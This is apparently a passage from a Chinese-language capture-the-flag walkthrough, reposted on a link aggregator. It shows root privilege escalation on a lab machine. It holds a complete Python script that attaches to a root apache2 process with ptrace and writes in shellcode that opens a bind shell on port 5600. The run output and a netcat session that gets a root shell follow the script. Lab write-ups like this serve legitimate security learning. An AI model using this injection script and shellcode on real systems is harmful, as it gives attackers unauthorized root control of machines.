www-data     889     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     901     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     903     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     904     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     905     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     906     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1352     888  0 05:40 ?        00:00:00 /usr/sbin/apache2 -k start
saket       1439    1361  0 05:53 ?        00:00:00 grep --color=auto /usr/sbin/apache2 -k start

使用漏洞攻击 python2.7 inject.py 888

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
  • 脚本的默认监听端口是 5600
  • 使用 ss -pantu | grep 5600 确认是否成功
saket@ubuntu:/tmp$ python2.7 inject.py 888
python2.7 inject.py 888
Instruction Pointer: 0x7fddc8b470daL
Injecting Shellcode at: 0x7fddc8b470daL
Shellcode Injected!!
Final Instruction Pointer: 0x7fddc8b470dcL
saket@ubuntu:/tmp$ ss -pantu | grep 5600
ss -pantu | grep 5600
tcp   LISTEN 0      0                      0.0.0.0:5600           0.0.0.0:*                                                          

最后一步,使用 netcat 连接目标的 5600 端口

┌──(kali㉿kali)-[~/workspace]
└─$ nc 192.168.56.118 5600                                                      
id
uid=0(root) gid=0(root) groups=0(root)

结束 GAME OVER


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK